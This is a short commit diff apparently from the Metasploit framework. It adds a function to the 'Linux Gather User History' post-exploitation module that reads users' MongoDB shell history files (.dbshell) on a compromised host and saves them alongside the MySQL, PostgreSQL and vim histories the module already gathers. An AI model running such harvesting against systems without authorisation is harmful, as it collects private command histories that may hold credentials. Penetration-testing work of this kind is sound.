Add support for MongoDB history
parent
d2e6f90569
commit
013e45e83d
|
@ -16,8 +16,8 @@ class Metasploit3 < Msf::Post
|
||||||
'Name' => 'Linux Gather User History',
|
'Name' => 'Linux Gather User History',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module gathers user specific information.
|
This module gathers user specific information.
|
||||||
User list, shell history, mysql history,
|
User shell history, MySQL history, PostgreSQL history,
|
||||||
postgresql history, vim history, lastlog and sudoers.
|
MongoDB history, vim history, lastlog and sudoers.
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
|
@ -49,6 +49,7 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
get_mysql_history(u)
|
get_mysql_history(u)
|
||||||
get_psql_history(u)
|
get_psql_history(u)
|
||||||
|
get_mongodb_history(u)
|
||||||
get_vim_history(u)
|
get_vim_history(u)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -118,6 +119,16 @@ class Metasploit3 < Msf::Post
|
||||||
save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
|
save("PostgreSQL History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_mongodb_history(user)
|
||||||
|
vprint_status("Extracting MongoDB history for #{user}")
|
||||||
|
if user == 'root'
|
||||||
|
sql_hist = cat_file('/root/.dbshell')
|
||||||
|
else
|
||||||
|
sql_hist = cat_file("/home/#{user}/.dbshell")
|
||||||
|
end
|
||||||
|
save("MongoDB History for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
|
||||||
|
end
|
||||||
|
|
||||||
def get_vim_history(user)
|
def get_vim_history(user)
|
||||||
vprint_status("Extracting VIM history for #{user}")
|
vprint_status("Extracting VIM history for #{user}")
|
||||||
if user == 'root'
|
if user == 'root'
|
||||||
|
|
Loading…
Reference in New Issue